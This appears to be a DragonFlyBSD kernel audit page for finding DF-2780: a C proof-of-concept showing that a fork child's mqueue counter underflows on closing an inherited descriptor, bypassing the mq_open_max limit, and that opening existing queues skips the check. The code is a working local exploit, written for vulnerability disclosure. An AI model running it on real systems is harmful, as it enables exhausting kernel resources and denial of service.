DragonFlyBSD Kernel Audit
DF-2780 / fork_cnt.c
← back to finding ↓ download raw
/*
 * DF-2780 — p_mqueue_cnt accounting is broken across fork():
 *   - incremented in the OPENING process (sys_mqueue.c:592)
 *   - decremented in mq_close_fop() in whatever process drops the LAST file
 *     reference (sys_mqueue.c:373-385, curproc, not the opener)
 *   - fork() gives the child a zeroed p_mqueue_cnt (kern_fork.c:444 M_ZERO)
 *     while the child inherits the descriptors (fdcopy holds file refs)
 *
 * => a fork child that closes an inherited mqueue descriptor underflows its
 *    u_int p_mqueue_cnt (proc.h:235) from 0 to 0xffffffff, after which the
 *    per-process limit check `p_mqueue_cnt == mq_open_max'
 *    (sys_mqueue.c:452,577 — equality, not >=) never matches again: the
 *    child opens mqueues without any per-process bound.
 *
 * Additionally demonstrates: the open-EXISTING-queue path performs NO limit
 * check at all (sys_mqueue.c:531-563 increments the counter without checking),
 * so even a non-underflowed process at its EMFILE limit can keep opening
 * already-existing queues.
 *
 * cc -O2 -o fork_cnt fork_cnt.c
 * ./fork_cnt
 * Expected (vulnerable):  control: EMFILE after 512 creates
 *                          fork path: EMFILE after 513 creates in child
 *                          existing: open past the limit succeeds (rc=0)
 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include <sys/syscall.h>

static int
mqo(const char *name, int oflag, const long *attr)
{
	long a[4];

	if (attr) {
		memcpy(a, attr, sizeof(a));
		return syscall(SYS_mq_open, name, oflag, 0600, a);
	}
	return syscall(SYS_mq_open, name, oflag, 0600, NULL);
}

static void
raise_fds(void)
{
	struct rlimit rl;

	getrlimit(RLIMIT_NOFILE, &rl);
	rl.rlim_cur = rl.rlim_max;
	setrlimit(RLIMIT_NOFILE, &rl);
	getrlimit(RLIMIT_NOFILE, &rl);
	printf("[*] RLIMIT_NOFILE soft=%llu hard=%llu\n",
	    (unsigned long long)rl.rlim_cur, (unsigned long long)rl.rlim_max);
}

int
main(void)
{
	char name[64];
	long attr[4] = { 0, 1, 16, 0 };
	int i, n, fd, status;

	setvbuf(stdout, NULL, _IONBF, 0);
	raise_fds();

	/* --- control: how many can a fresh process create? --- */
	for (n = 0;; n++) {
		snprintf(name, sizeof(name), "/df2780_ctl_%d_%d", (int)getpid(), n);
		fd = mqo(name, O_RDWR | O_CREAT, attr);
		if (fd < 0) {
			printf("[control] mq_open #%d failed: %s\n", n,
			    strerror(errno));
			break;
		}
	}
	printf("[control] fresh process created %d queues "
	    "(kern.mqueue.mq_open_max=512)\n", n);

	/* --- limit-check bypass on the open-existing path --- */
	if (n > 0 && errno == EMFILE) {
		snprintf(name, sizeof(name), "/df2780_ctl_%d_%d", (int)getpid(), 0);
		fd = mqo(name, O_RDWR, NULL);
		printf("[existing] mq_open(existing) at/past EMFILE limit: %s\n",
		    fd >= 0 ? "SUCCEEDED (no limit check on this path)" :
		    strerror(errno));
		if (fd >= 0)
			close(fd);
	}

	/* release the control queues so the fork stage has descriptors */
	for (i = 0; i < n; i++)
		close(3 + i);
	for (i = 0; i < n; i++) {
		snprintf(name, sizeof(name), "/df2780_ctl_%d_%d", (int)getpid(), i);
		syscall(SYS_mq_unlink, name);
	}

	/* --- fork underflow path ---
	 * The decrement in mq_close_fop() runs in whichever process drops the
	 * LAST file reference.  Order: parent opens, forks; parent closes its
	 * copy (fo_close does NOT run: child still holds a ref => parent's
	 * counter LEAKS at 1); child then closes its inherited copy as the
	 * last reference => fo_close runs in the CHILD, whose p_mqueue_cnt is
	 * still 0 => 0 - 1 underflows the u_int to 0xffffffff. */
	{
		int pfd[2], go = 0;

		snprintf(name, sizeof(name), "/df2780_parent_%d", (int)getpid());
		fd = mqo(name, O_RDWR | O_CREAT, attr);
		if (fd < 0) {
			fprintf(stderr, "parent mq_open: %s\n", strerror(errno));
			return 2;
		}
		pipe(pfd);
		if (fork() == 0) {
			/* child: p_mqueue_cnt == 0, holds one inherited mq fd */
			close(pfd[1]);
			read(pfd[0], &go, 1);	/* wait until parent closed */
			close(fd);		/* LAST ref: 0 - 1 => 0xffffffff */
			close(pfd[0]);
			for (n = 0;; n++) {
				char cn[64];

				snprintf(cn, sizeof(cn), "/df2780_kid_%d_%d",
				    (int)getpid(), n);
				if (mqo(cn, O_RDWR | O_CREAT, attr) < 0) {
					printf("[fork-child] mq_open #%d failed: %s\n",
					    n, strerror(errno));
					break;
				}
			}
			printf("[fork-child] created %d queues after the "
			    "inherited-fd close underflowed the counter "
			    "(control limit: 512)\n", n);
			_exit(n >= 513 ? 42 : 1);
		}
		close(pfd[0]);
		close(fd);			/* non-last ref: parent LEAKS count */
		write(pfd[1], &go, 1);		/* release the child */
		close(pfd[1]);
		waitpid(0, &status, 0);
		printf("[*] child exit=%d => %s\n", WEXITSTATUS(status),
		    WEXITSTATUS(status) == 42 ?
		    "BYPASS REPRODUCED (child exceeded mq_open_max)" :
		    "bypass not observed");
		return WEXITSTATUS(status) == 42 ? 0 : 1;
	}
}